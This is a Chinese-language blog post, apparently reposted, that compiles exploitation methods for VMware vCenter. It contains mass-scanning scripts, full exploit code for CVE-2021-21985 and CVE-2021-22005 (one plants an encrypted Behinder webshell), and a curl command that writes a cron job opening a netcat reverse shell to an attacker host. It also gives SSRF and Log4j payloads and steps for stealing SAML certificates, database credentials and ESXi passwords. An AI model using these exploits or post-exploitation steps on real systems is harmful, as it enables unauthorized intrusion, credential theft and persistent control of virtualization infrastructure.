vCenter 漏洞利用总结

前言

VMware vCenter是VMware公司推出的集中化虚拟化管理平台。它是VMware vSphere虚拟化解决方案的核心组件之一。vCenter的主要功能是管理和监控整个vSphere虚拟化基础架构,包括多个ESXi主机和虚拟机。

vSphere

vSphere是VMware的虚拟化平台的总称,它是一套完整的虚拟化解决方案,包括了多个组件和功能,用于构建和管理虚拟化环境。vSphere的主要组件包括:

  • VMware ESXi(以前称为ESX):ESXi是vSphere的核心部分,它是一种裸机虚拟化操作系统,直接安装在物理服务器上,取代传统的操作系统,如Windows或Linux。一旦 ESXi 安装在物理服务器上并启动,它会在后台自动运行,并立即开始管理和运行虚拟机,不需要通过登录界面进行交互。
  • VMware vCenter Server:vCenter是vSphere的集中式管理平台,用于管理和监控多个ESXi主机上的虚拟机。vCenter提供 Web 界面或者 vSphere 客户端供管理员登录,然后通过该界面来管理整个 vSphere 环境。

平常看到的“VMware® vSphere”登录界面,通常是指vCenter的登录界面。ESXi 没有单独的登录界面

vSphere = ESXi + vCenter

fofa搜索

title="+ ID_VC_Welcome +"

查看vcenter版本

方法1:

/sdk/vimServiceVersions.xml

如下代表版本为6.7.3。

方法2:

通过调用 VMWare Sphere 组件的 SOAP API,可以获取其版本信息,XML 数据如下:

POST /sdk HTTP/1.1
Host: portal.vpsssd.vn:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 579

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope
    xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <soap:Header>
        <operationID>00000001-00000001</operationID>
    </soap:Header>
    <soap:Body>
        <RetrieveServiceContent
            xmlns="urn:internalvim25">
            <_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this>
        </RetrieveServiceContent>
    </soap:Body>
</soap:Envelope>

漏洞

CVE-2021-21972 文件上传

漏洞介绍

vSphere Client(HTML5在vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放443端口的服务器向vCenterServer发送精心构造的请求,从而在服务器上写入webshell,最终造成远程任意代码执行。

影响范围

  • vCenter Server7.0 =< 7.0.U1c
  • vCenter Server6.7 =< 6.7.U3l
  • vCenter Server6.5 =< 6.5.U3n

漏洞检测

访问下面的路径,如果404,则代表不存在漏洞,如果405 则可能存在漏洞

/ui/vropspluginui/rest/services/uploadova

import requests, threading
import concurrent.futures
lock = threading.Lock()  # 创建互斥锁
requests.packages.urllib3.disable_warnings()
from colorama import init,Fore
init(autoreset=True)
lock = threading.Lock()  
 
def run(target):
	try :
		target = target + "/ui/vropspluginui/rest/services/uploadova"
		header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0'}
		resp = requests.get(url=target, headers=header, verify=False, proxies={'https':'http://127.0.0.1:8080'})
		code = resp.status_code
		if code == 405:
			with lock:
				print("[+]%s可能存在漏洞" %target)
		else:
			with lock:
				print("[-]%s不存在漏洞" %target)
	except Exception as e:
		with lock:
			print("[-]%s不存在漏洞" %target)
	

if __name__ == "__main__":
	urls = [url.strip() for url in open("url.txt", "r", encoding="utf-8")]

	max_workers = 800
	with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
		executor.map(run, urls)

漏洞利用

脚本:GitHub - Schira4396/VcenterKiller: 一款针对Vcenter的综合利用工具,包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-22005、One Access的CVE-2022-22954、CVE-2022-22972/31656以及log4j,提供一键上传webshell,命令执行或者上传公钥使用SSH免密连接

vckiller_windows_amd64.exe -u https://ip:8443 -m 21972 -f shell.jsp

CVE-2021-21985 RCE

漏洞介绍

默认启用的 Virtual SAN Health Check 插件(vsan-h5-client.zip)/rest/*接口存在未授权访问,可利用不安全的反射调用实现 RCE。

影响版本

  • 7.0 <= vCenter Server < 7.0 U2b
  • 6.7 <= vCenter Server < 6.7 U3n
  • 6.5 <= vCenter Server < 6.5 U3p
  • 4.x <= Cloud Foundation (vCenter Server) < 4.2.1
  • 3.x <= Cloud Foundation (vCenter Server) < 3.10.2.1

漏洞检测

POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1
Host: 54.xx.xx.157
User-Agent: python-requests/2.30.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 88

{"methodInput": [{"type": "ClusterComputeResource", "value": null, "serverGuid": null}]}

当返回如下,说明漏洞存在

命令执行

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2021/6/3-16:57
"""
import base64
import sys
import zipfile
from urllib.parse import urlparse

import zlib
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'https':'http://127.0.0.1:8080'}

def banner():
    print("""
==============================================================
         _____           _              _____   _____ ______ 
        / ____|         | |            |  __ \ / ____|  ____|
 __   _| |     ___ _ __ | |_ ___ _ __  | |__) | |    | |__   
 \ \ / / |    / _ \ '_ \| __/ _ \ '__| |  _  /| |    |  __|  
  \ V /| |___|  __/ | | | ||  __/ |    | | \ \| |____| |____ 
   \_/  \_____\___|_| |_|\__\___|_|    |_|  \_\\_____|______|

                              Powered by r0cky Team ZionLab
==============================================================
    """)



def create_xml():

    print("[*] Create Xml to offline_bundle.xml ...")
    context = """<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[ {cmd} 2>&1 ]]></value>
          </list>
        </constructor-arg>
    </bean>
    <bean id="is" class="java.io.InputStreamReader">
        <constructor-arg>
            <value>#{pb.start().getInputStream()}</value>
        </constructor-arg>
    </bean>
    <bean id="br" class="java.io.BufferedReader">
        <constructor-arg>
            <value>#{is}</value>
        </constructor-arg>
    </bean>
    <bean id="collectors" class="java.util.stream.Collectors"></bean>
    <bean id="system" class="java.lang.System">
        <property name="whatever" value="#{ system.setProperty(&quot;output&quot;, br.lines().collect(collectors.joining(&quot;\n&quot;))) }"/>
    </bean>
</beans>
""".replace("{cmd}", cmd)
    with open('offline_bundle.xml', 'w') as wf:
        wf.write(context)
        wf.flush()

def create_zip():
    print("[*] Create Zip to offline_bundle.zip ...")
    with zipfile.ZipFile('offline_bundle.zip', 'w', zipfile.ZIP_DEFLATED) as zp:
        zp.write('offline_bundle.xml')

def toBase64():
    with open('offline_bundle.zip', 'rb') as rf:
        return base64.b64encode(rf.read())

def poc1(url):
    ssrf_str = "https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,{}%23"
    ssrf = ssrf_str.format(bytes.decode(toBase64()))

    print ("[*] Get XML to SystemProperties  ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages"

    data = {"methodInput":[[ssrf]]}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)


def poc2(url):

    print("[*] getProperty   ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty"

    data = {"methodInput": ["output", None]}

    r = requests.post(target, data=json.dumps(data), headers=headers,
                      verify=False, proxies=proxies)
    if "result" in r.json():
        print("[+] Command:", cmd)
        print(r.json()['result'])
    else:
        print ("[-] send payload failed.")

headers = {"Content-Type": "application/json"}

def main(url):
    try:
        create_xml()
        create_zip()
        poc1(url)
        poc2(url)
    except:
        print("[-] send payload failed.")

if __name__ == '__main__':
    banner()
    try:
        target = sys.argv[1]
        cmd = sys.argv[2]
        up = urlparse(target)
        target = up.scheme + "://" + up.netloc
        main(target)
    except:
        print("Example: \n\tpython3 " + sys.argv[0] + " <target> <cmd>\n")

反弹shell:CVE-2021-21985: VMware vCenter Server RCE复现-腾讯云开发者社区-腾讯云

CVE-2021-22005 文件上传

漏洞介绍

2021年9月22日,VMware 官方发布安全公告,披露了包括 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞在内的多个中高危严重漏洞。攻击者可构造恶意请求,通过vCenter中的Analytics服务,可上传恶意文件,从而造成远程代码执行漏洞。

影响范围

  • VMware vCenter Server 7.0系列 < 7.0 U2c
  • VMware vCenter Server 6.7系列 < 6.7 U3o
  • VMware vCenter Server 6.5系列 不受漏洞影响

漏洞检测

访问 /analytics/telemetry/ph/api/level 地址判断服务器是否受影响

  • 如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。
  • 如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。
  • 其他情况说明漏洞不存在
import requests, threading
import concurrent.futures
lock = threading.Lock()  # 创建互斥锁
requests.packages.urllib3.disable_warnings()
from colorama import init,Fore
init(autoreset=True)
lock = threading.Lock()  
 
def run(target):
	try :
		target = target + "/analytics/telemetry/ph/api/level?_c=test"
		header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0'}
		resp = requests.get(url=target, headers=header, verify=False, proxies={'https':'http://127.0.0.1:8080'})
		code = resp.status_code
		if code == 200 and "OFF" not in resp.text and "FULL" in resp.text:
			with lock:
				print("[+]%s可能存在漏洞" %target)
		else:
			with lock:
				print("[-]%s不存在漏洞" %target)
	except Exception as e:
		with lock:
			print("[-]%s不存在漏洞" %target)
	

if __name__ == "__main__":
	urls = [url.strip() for url in open("url.txt", "r", encoding="utf-8")]

	max_workers = 800
	with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
		executor.map(run, urls)

漏洞利用

import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
 
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
    
def escape(_str):
    _str = _str.replace("&", "&amp;")
    _str = _str.replace("<", "&lt;")
    _str = _str.replace(">", "&gt;")
    _str = _str.replace("\"", "&quot;")
    return _str
    
def str_to_escaped_unicode(arg_str):
    escaped_str = ''
    for s in arg_str:
        val = ord(s)
        esc_uni = "\\u{:04x}".format(val)
        escaped_str += esc_uni
    return escaped_str
 
 
def createAgent(target, agent_name, log_param):
 
    
    url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)
    headers = { "Cache-Control": "max-age=0", 
               "Upgrade-Insecure-Requests": "1", 
               "User-Agent": "Mozilla/5.0", 
               "X-Deployment-Secret": "abc", 
               "Content-Type": "application/json", 
               "Connection": "close" }
               
    json_data = { "manifestSpec":{}, 
                  "objectType": "a2",
                  "collectionTriggerDataNeeded":  True,
                  "deploymentDataNeeded":True, 
                  "resultNeeded": True, 
                  "signalCollectionCompleted":True, 
                  "localManifestPath": "a7",
                  "localPayloadPath": "a8",
                  "localObfuscationMapPath": "a9" }
                  
    requests.post(url, headers=headers, json=json_data, verify=False)
    
 
def generate_manifest(webshell_location, webshell):
 
    manifestData = """<manifest recommendedPageSize="500">
       <request>
          <query name="vir:VCenter">
             <constraint>
                <targetType>ServiceInstance</targetType>
             </constraint>
             <propertySpec>
                <propertyNames>content.about.instanceUuid</propertyNames>
                <propertyNames>content.about.osType</propertyNames>
                <propertyNames>content.about.build</propertyNames>
                <propertyNames>content.about.version</propertyNames>
             </propertySpec>
          </query>
       </request>
       <cdfMapping>
          <indepedentResultsMapping>
             <resultSetMappings>
                <entry>
                   <key>vir:VCenter</key>
                   <value>
                      <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
                         <resourceItemToJsonLdMapping>
                            <forType>ServiceInstance</forType>
                         <mappingCode><![CDATA[    
                            #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
                            #set($orig_log = $appender.getFile())##
                            #set($logger = $GLOBAL-logger.logger.parent)##     
                            $appender.setFile("%s")##     
                            $appender.activateOptions()##  
                            $logger.warn("%s")##   
                            $appender.setFile($orig_log)##     
                            $appender.activateOptions()##]]>
                         </mappingCode>
                         </resourceItemToJsonLdMapping>
                      </value>
                   </value>
                </entry>
             </resultSetMappings>
          </indepedentResultsMapping>
       </cdfMapping>
       <requestSchedules>
          <schedule interval="1h">
             <queries>
                <query>vir:VCenter</query>
             </queries>
          </schedule>
       </requestSchedules>
    </manifest>""" % (webshell_location, webshell)
    
    return manifestData
 
def arg():
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", help = "Target", required = True)
    args = parser.parse_args()
    target = args.target
    print("[*] Target: %s" % target)
    return target
 
def exec():
    target = arg()
    # Variables
    webshell_param = id_generator(6)
    log_param = id_generator(6)
    agent_name = id_generator(6)
    shell_name = "Server.jsp"
    webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""
 
    webshell_location =  "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
    webshell = str_to_escaped_unicode(webshell)
    manifestData = generate_manifest(webshell_location,webshell)
    print("[*] Creating Agent")
    createAgent(target, agent_name, log_param)
    url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)
    headers = {"Cache-Control": "max-age=0", 
                     "Upgrade-Insecure-Requests": "1", 
                     "User-Agent": "Mozilla/5.0", 
                     "X-Deployment-Secret": "abc", 
                     "Content-Type": "application/json", 
                     "Connection": "close"}
    json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
    requests.post(url, headers=headers, json=json_data, verify=False)
    #webshell连接地址
    url = "%s/idm/..;/%s" % (target, shell_name)
    code = requests.get(url=url, headers=headers,verify=False).status_code
    if code != "404":
        print("webshell地址: %s" % url)
        print("[*]冰蝎3.0 Webshell连接密码: rebeyond" )
 
    else:
        print("未获取到webshell地址")
 
 
if __name__ == '__main__':
    exec()

CVE-2021-22005poc.py -t https://103.154.100.22:8443

反弹shell

还有另外一种了利用方式,直接将反弹脚本写入计划任务

curl -kv "https:/xx.xx.xx.xx/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh vpsip地址 6666"

接收反弹shell

vCenter SSRF 文件读取漏洞

漏洞描述

VMware vCenter v 7.0.x 的某些版本中存在未授权 SSRF 漏洞,该漏洞源于h5-vcav-bootstrap-service组件的getProviderLogo函数中未对provider-logo参数做校验,直接拼接之后进行URL请求,可通过file协议读取任意文件。暂无CVE编号

影响版本

  • VMware vCenter Server =7.0.2.00100
  • VMware vCenter Server =7.0.2.00000
  • 7.0.1.1

漏洞检测

/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd
/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file://c:\windows\System32\drivers\etc\hosts
#读取 postgresql 配置文件:
/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/vmware-vpx/vcdb.properties
GET /ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd HTTP/1.1
Host: 54.xx.xx.157
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0'}
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

vCenter Arbitrary文件读取

漏洞详情

VMware vCenter特定版本存在任意文件读取漏洞,攻击者通过构造特定的请求,可以读取服务器上任意文件。

影响版本

  • VMware vCenter 6.5.0a-f
  • 安全版本:VMware vCenter 6.5u1

漏洞复现

https://ip/eam/vib?id=/etc/passwd

/etc/shadow不能读取

VCenter Log4j JNDI RCE CVE-2021-44228

漏洞详情

VMware vCenter Log4j JNDI RCE 是一个潜在的远程代码执行漏洞,它影响了VMware vCenter Server 6.7。这个漏洞是由于vCenter Server平台上的Log4j配置不当导致的。攻击者可以利用这个漏洞通过远程方式执行任意代码。漏洞触发点为XFF头部

漏洞检测

GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
X-Forwarded-For: ${jndi:ldap://x.25vk6n.ceye.io}
Connection: close

我这里没有找到存在漏洞的靶机所以无记录,只演示测试过程。因为漏洞本质是属于Log4j,vcenter引用了log4j这个组件,所以如果有该漏洞,普通的lo4j检测工具应该就能检测出来

漏洞利用

工具使用:VcenterKiller

更多细节参考:

vcenter综合利用工具

VcenterKiller:GitHub - Schira4396/VcenterKiller: 一款针对Vcenter的综合利用工具,包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-22005、One Access的CVE-2022-22954、CVE-2022-22972/31656以及log4j,提供一键上传webshell,命令执行或者上传公钥使用SSH免密连接,只有漏洞利用,无漏洞检测功能。

获取vcenter-web控制台权限

上次获取了vcenter所在的服务器权限,但还是登录不上控制平台,要登录还需要密码。

这时候就有两个思路:

  1. 读取vCenter cookie,通过解密脚本解密,登上控制台。
  2. 直接通过vdcadmintool.exe修改密码。但是修改之后无法获取原来的密码,管理员会发现密码被改

cookie登录

SAML 证书登录实质上就是获取cookie然后登录web控制台

vSphere 5.0 版本引入了 SSO,支持使用 SAML 作为授权服务支持。当用户登录服务时,该服务会将身份验证请求转发给 SAML 。SAML 验证用户凭据是否正确以及他们是否有权访问指定的服务。

在 vCenter 中从 /storage/db/vmware-vmdir/data.mdb 提取 IdP 证书,为管理员用户创建 SAML 请求,最后使用 vCenter server 进行身份验证并获得有效的管理员 cookie。

首先需要从 vCenter 获得数据库文件:

  • Linux:/storage/db/vmware-vmdir/data.mdb
  • Windows:C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

利用 SAML 解密脚本生成 Cookie,建议使用kali运行脚本。脚本中的模块需要先安装编译工具和OpenLDAP开发包才能使用

sudo apt install python3-dev libldap2-dev libsasl2-dev libssl-dev
#安装依赖
pip3 install -r requirements.txt

运行

python3 vcenter_saml_login.py -p data.mdb -t vcenterip

我这里报错了,可参考:Vcenter实战利用方式总结-腾讯云开发者社区-腾讯云

不重置获取密码

1. 查看域

#Linux
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost

#windows
C:\Program Files\VMware\vCenter Server\vmafdd\vmafd-cli get-domain-name --server-name localhost
#由于路径中间存在空格,导致识别不了,使用双引号对含有空格的路径进行单独处理
C:\PROGRA~1\VMware\"vCenter Server"\vmafdd\vmafd-cli get-domain-name --server-name localhost

2. 获取解密key

#Linux
cat /etc/vmware-vpx/ssl/symkey.dat

#Windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat

3. 获取数据库账号密码

vcenter默认数据库文件存放在vcdb.properties,配置文件中有数据库的明文账号密码

#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties

#Windows
type C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

默认是postgresql数据库,只能在vCenter服务器本地登录,执行语句查询ESXI的密码

#psql默认存放位置
Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe
Linux:
#其中x版本号,根据实际情况填写
cd /opt/vmware/vpostgres/x版本/bin/

#执行语句查询
echo "psql密码" | psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;"

将password字段复制到password.enc文件中

4. 使用脚本解密

GitHub - shmilylty/vhost_password_decrypt: vhost password decrypt

  • symkey.dat为第而步获取的解密key
python decrypt.py symkey.dat password.enc password.txt

执行脚本后,会输出一个password.txt,里面存放着对应 ip_address 的 ESXI 机器密码

我这里输出为空

5. 使用password.txt中的密码登录web控制台

重置密码

比较快的一种方法,但是修改之后无法获取原来的密码,管理员会发现密码被改

#Linux 
/usr/lib/vmware-vmdir/bin/vdcadmintool 

#Windows 
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe

选择 3 选项,输入默认 [email protected] (需要管理员权限),这里又失败了。。

获取虚拟机权限

登录web控制台后,想要获取某个虚拟机的权限,选择目标虚拟机,操作生成快照,找快照文件,读取hash

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转载自blog.csdn.net/qq_44159028/article/details/131898608